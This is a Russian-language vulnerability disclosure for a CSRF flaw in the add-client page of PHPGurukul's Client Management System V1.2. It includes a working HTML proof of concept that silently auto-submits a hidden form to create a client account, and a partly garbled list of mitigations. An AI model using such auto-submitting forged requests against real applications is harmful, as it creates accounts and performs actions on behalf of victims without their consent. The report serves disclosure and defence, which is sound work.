
Доказательство концепции, демонстрирующее уязвимость CSRF в системе управления клиентами на PHP, с HTML-кодом эксплойта и стратегиями смягчения последствий для тестирования безопасности веб-приложений.
Название проекта и URL репозитория: https://phpgurukul.com/client-management-system-using-php-mysql/
Название уязвимости: Межсайтовая подделка запроса (CSRF)
Затронутая версия: V1.2
Уязвимость межсайтовой подделки запроса (CSRF) существует в функциональности добавления клиента в системе управления клиентами, разработанной PHPGurukul. CSRF — это атака, при которой аутентифицированный пользователь обманным путем заставляет отправить вредоносный запрос веб-приложению. Это может привести к выполнению несанкционированных действий от имени пользователя. В этом отчете мы демонстрируем, как CSRF может быть использован для создания фальшивых пользователей в системе управления клиентами, и предлагаем стратегии смягчения последствий.
Используя предоставленные учетные данные, войдите в систему управления клиентами.



Ниже приведен HTML PoC для CSRF-атаки:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Чтобы предотвратить CSRF-атаки, внедрите следующие меры:
SameSite=Strict или SameSite=Lax.POST для конфиденциальных действий и избегайте обработки GET-запросов с побочными эффектами.В этом отчете показано, как CSRF-уязвимости могут быть использованы для создания несанкционированных клиентов в системе управления клиентами. Внедрение предложенных стратегий смягчения последствий поможет защитить приложение от подобных атак.